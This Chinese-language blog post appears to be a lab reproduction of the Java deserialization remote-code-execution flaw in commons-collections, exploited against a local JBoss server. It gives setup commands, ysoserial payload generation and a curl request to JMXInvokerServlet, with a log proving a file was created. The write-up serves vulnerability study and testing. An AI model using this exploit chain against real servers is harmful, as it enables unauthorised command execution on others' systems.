原理

大概和php的差不多反序列化时对象注入可以造成代码执行,例如 commons-collections-3.2.1.jar 包就存在这个漏洞,所以只要使用了这个lib的都有可能rce,例如jboss,jenkins,weblogic 等。

利用方法

有人写了一个执行命令的payload 生成器,java反射调用Runtime.getRunTime.exec 执行命令,应该也可以改成写文件之类的(未验证)。

jboss 利用实践

环境

1
2
3
4
5
6
7
8
9
yum install java-1.7.0-openjdk-devel -y
wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
unzip jboss-4.2.3.zip
mv jboss-4.2.3.GA /usr/local/share/jboss
adduser appserver
chown -R appserver /usr/local/share/jboss
su -l appserver
cd /usr/local/share/jboss/bin
./run.sh -b 0.0.0.0

exploit

1
2
3
4
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'echo 1 > /tmp/pwned' > payload
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' > /tmp/payload
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

测试

1
2
3
4
5
6
7
8
9
[root@uauc ~]# rm  -rf   /tmp/pwned 
[root@uauc ~]# ls -lh /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory
[root@uauc ~]# curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet > 1.log
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5335 0 3927 100 1408 39474 14153 --:--:-- --:--:-- --:--:-- 42225
[root@uauc ~]# ls -lh /tmp/pwned
-rw-rw-r-- 1 appserver appserver 0 Nov 10 15:27 /tmp/pwned

成功-_-
图片

更多

具体漏洞原理利用以及受影响应用还待研究,权为抛砖引玉,欢迎讨论。

参考资料

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#thevulnerability
https://github.com/foxglovesec/JavaUnserializeExploits
https://github.com/frohoff/ysoserial